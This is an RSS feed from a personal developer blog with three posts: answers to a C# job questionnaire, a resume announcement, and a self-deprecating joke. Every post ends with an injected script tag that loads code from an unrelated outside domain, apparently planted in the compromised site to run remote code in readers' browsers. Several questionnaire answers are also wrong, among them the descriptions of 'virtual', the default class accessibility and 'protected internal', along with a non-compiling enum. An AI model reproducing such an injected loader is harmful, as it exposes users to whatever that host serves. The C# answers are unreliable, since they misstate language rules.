<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Polerecky &#187; personal</title>
	<atom:link href="http://eric.polerecky.com/archives/category/personal/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.polerecky.com</link>
	<description>An outlet for my obsession with technology</description>
	<lastBuildDate>Mon, 14 Jun 2010 14:00:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Developer Questionnaire</title>
		<link>http://eric.polerecky.com/archives/developer-questionnaire/</link>
		<comments>http://eric.polerecky.com/archives/developer-questionnaire/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 15:44:46 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[career]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/developer-questionnaire/</guid>
		<description><![CDATA[<br/>Finding talented developers is always a challenge and in the current economic climate many developers are holding off moving to a new position. As such, contract houses are submitting any available candidates for every position. This practice is not only another reason to avoid contracting shops but is rather taxing on the company looking to


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>Finding talented developers is always a challenge and in the current economic climate many developers are holding off moving to a new position. As such, contract houses are submitting any available candidates for every position. This practice is not only another reason to avoid contracting shops but is rather taxing on the company looking to fill a position. </p>
<p>The man hours spent screening a single applicant can quickly balloon over 8 man hours. My current client recently felt this pain and decided to require the consulting houses to have their candidates fill out a questionnaire. In an environment with many different technologies and developer background experiences coming up with a questionnaire that covers technical, theoretical as well as passion is a daunting task.</p>
<p>Below is one of the recent questionnaires I filled out that I thought balanced technical and theoretical questions well. Some of the details have been redacted. And oh’ <strong>Be warned, I have no idea if these answers are correct</strong></p>
<p><strong>What is reflection?      <br /></strong>reflection is a way you can interrogate (inspect and/or invoke) objects in a running application. </p>
<p><strong>How do you inherit from a class in C#? (give a code sample)      <br /></strong>public class GreatClass:Baseclass {} </p>
<p><strong>When you inherit a protected class-level variable, who is it available to?      <br /></strong>The derived class and of course the base class. </p>
<p><strong>Describe each accessibility modifier (public, private, etc).      <br /></strong>Public: can be accessed by anyone     <br />Private: can only be accessed from inside the base class     <br />Protected: can be accessed by derived and base class     <br />Internal: like public by also must be in the same assembly     <br />Protected Internal: like private by also must be in the same assembly </p>
<p><strong>How is method overriding different from overloading?      <br /></strong>overriding changes the functionality of a base method, overloading creates another method with different inputs/attributes (post in MVC) </p>
<p><strong>What does the keyword virtual mean in the method definition?      <br /></strong>virtual methods are methods that the derived class must override.     <br /><strong></strong></p>
<p><strong>How can you overload a method?      <br /></strong>By changing the type or number of parameters. </p>
<p><strong>What’s the difference between an interface and abstract class?      <br /></strong>An abstract class is something that I don&#8217;t often use. Really; C# does not support multiple inheritance so we often use interfaces to define our entities and hierarchies. In c# we can inherit from one abstract class and implement multiple interfaces. </p>
<p><strong>What is the default accessibility for a class?      <br /></strong>Private </p>
<p><strong>Can you implement multiple interfaces?      <br /></strong>Yes     </p>
<p><strong>What is a delegate?      <br /></strong>The C# version of AddressOf </p>
<p><strong>Code a short and simple delegate example. Code the same sample with a lambda expression. </strong></p>
<div class="csharpcode">
<pre><span class="lnum">   1:  </span><span class="kwrd">public</span> <span class="kwrd">delegate</span> <span class="kwrd">int</span> myCalc(<span class="kwrd">int</span> x, <span class="kwrd">int</span> y);</pre>
<pre><span class="lnum">   2:  </span>&#160;</pre>
<pre><span class="lnum">   3:  </span><span class="kwrd">public</span> <span class="kwrd">class</span> doMath {</pre>
<pre><span class="lnum">   4:  </span>    <span class="kwrd">public</span> <span class="kwrd">string</span> Add(<span class="kwrd">int</span> x, <span class="kwrd">int</span> y){ Console.Wr...etc }</pre>
<pre><span class="lnum">   5:  </span>    <span class="kwrd">public</span> <span class="kwrd">string</span> Sub(<span class="kwrd">int</span> x, <span class="kwrd">int</span> y){ Console.Wr...etc }</pre>
<pre><span class="lnum">   6:  </span>} </pre>
<pre><span class="lnum">   7:  </span>&#160;</pre>
<pre><span class="lnum">   8:  </span><span class="kwrd">public</span> <span class="kwrd">static</span> <span class="kwrd">void</span> Main(){</pre>
<pre><span class="lnum">   9:  </span>    myCalc adder = <span class="kwrd">new</span> myCalc(doMath.Add);</pre>
<pre><span class="lnum">  10:  </span>    adder(1,1);</pre>
<pre><span class="lnum">  11:  </span>} </pre>
<pre><span class="lnum">  12:  </span>&#160;</pre>
<pre><span class="lnum">  13:  </span><span class="kwrd">public</span> <span class="kwrd">static</span> <span class="kwrd">void</span> Main(){</pre>
<pre><span class="lnum">  14:  </span>    myCalc adder = (doMath.Add);</pre>
<pre><span class="lnum">  15:  </span>    adder(1,1);</pre>
<pre><span class="lnum">  16:  </span>} </pre>
<pre><span class="lnum">  17:  </span>&#160;</pre>
<pre><span class="lnum">  18:  </span>&#160;</pre>
</div>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p><strong>Strings are immutable, what does this mean?<br />
    <br /></strong>The contents will not change once created, methods like toLower will not effect the string, only the output. </p>
<p><strong>Code an enumeration for a status where options are: Queued, In Process, Finished<br />
    <br /></strong>enum Status { Queued, In Process, Finished }; </p>
<p><strong>Can C# have multiple catch blocks?<br />
    <br /></strong>Sure</p>
<p><strong>What are design patterns?<br />
    <br /></strong>Examples of how people smarter then me make my job easier. </p>
<p><strong>Describe two design patterns you have used in a project.<br />
    <br /></strong>Singleton! &#8211; Really; it&#8217;s was a good use&#8230;for a WCF Service to cache database results and serve those results to all web clients. </p>
<p>I&#8217;m not sure if MVC counts but It what I miss right now&#8230;MVVM is fine for large SL projects and the Flex stuff I am doing&#8230;well&#8230;as some of the Headspring guys on twitter might now, I&#8217;m not happy with it. </p>
<p><strong>What are the most important aspects of an effective software development team?<br />
    <br /></strong>Communication, planning, direction, understanding the problem domain (++DDD) </p>
<p><strong>What is your experience with test-driven development? What are its limitations? What are its strengths?</strong> </p>
<p>I&#8217;m a fan and I use it where I&#8217;ve been able to convince a project manager that it fits into a project plan. When I have to take over a project without unit tests I feel lost. TDD, like design patterns, are something I love that makes my job easier. </p>
<p><strong>What is your experience with Extreme Programming? What are its limitations? What are its strengths?</strong> </p>
<p>Not enough; the last 3 years I&#8217;ve been stuck in a big-design-up-front, not even waterfall, we spent a year on documents. 5 people, 1 year. sick. I was in a XP environment in 2001-2003. </p>
<p></p>
<p><strong>Will this code compile? What will be its output?</strong> </p>
<p>Sample code was provided.</p>
<p></p>
<p><strong>Write the PRECISE output of this code as it would appear in the console.<br />
    <br /></strong>Sample code was provided</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/developer-questionnaire/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What would you like to know about me?</title>
		<link>http://eric.polerecky.com/archives/what-would-you-like-to-know-about-me/</link>
		<comments>http://eric.polerecky.com/archives/what-would-you-like-to-know-about-me/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 21:51:11 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[resume]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/what-would-you-like-to-know-about-me/</guid>
		<description><![CDATA[<br/>Recently I was accused of asking to use software on a project just to polish my resume. Obviously that upset me quite a bit and I did polish my resume a bit before sending it to potently new clients/employers.
Please note the length of said resume, the wide breath of technology and if you dig just


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>Recently I was accused of asking to use software on a project just to polish my resume. Obviously that upset me quite a bit and I did polish my resume a bit before sending it to potently new clients/employers.</p>
<p>Please note the length of said resume, the wide breath of technology and if you dig just a little deeper you will see that it is not my resume I wish to polish…it is your development process.</p>
<p>Without further a due I would like to present me <a href="http://eric.polerecky.com/resume/" target="_blank">resume</a>.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/what-would-you-like-to-know-about-me/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Outside Prospective</title>
		<link>http://eric.polerecky.com/archives/outside-prospective/</link>
		<comments>http://eric.polerecky.com/archives/outside-prospective/#comments</comments>
		<pubDate>Thu, 18 Dec 2008 14:48:32 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[Fail]]></category>
		<category><![CDATA[career]]></category>
		<category><![CDATA[personal]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/outside-prospective/</guid>
		<description><![CDATA[<br/>Often times its hard to see someone else&#8217;s prospective, especially when it relates to how they see you. I was recently afforded the clarity of another&#8217;s prospective
I don&#8217;t think EVERYONE hates you. I would probably say a majority, but it&#8217;s probably like 51% hate / 49% love

Me: I think its more like 90% dislike, 5%


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>Often times its hard to see someone else&#8217;s prospective, especially when it relates to how they see you. I was recently afforded the clarity of another&#8217;s prospective</p>
<blockquote><p><font size="2">I don&#8217;t think EVERYONE hates you. I would probably say a majority, but it&#8217;s probably like 51% hate / 49% love</font></p>
</blockquote>
<blockquote><p><font size="2"><font size="2"><strong>Me: </strong>I think its more like 90% dislike, 5% hate, 2% undecided, 3% love</p>
</blockquote>
<p></font></font><br />
<blockquote>
<p>I just have been handed the early returns:
<p>65% dislike, 10 % distrust, 7% mildly annoyed by,&nbsp; 5% annoyed, 4% kinda ok with, 4% could care less about, 3% hope to see you destroyed,&nbsp; 3% love,&nbsp; 2% undecided, 2% just waiting to see what you f up next</p>
</blockquote>
<p><font size="2"></font>
<p><strong>Its a JOKE! </strong>&#8230;wait&#8230;is it only funny because its true? <img src='http://eric.polerecky.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  </p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/outside-prospective/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
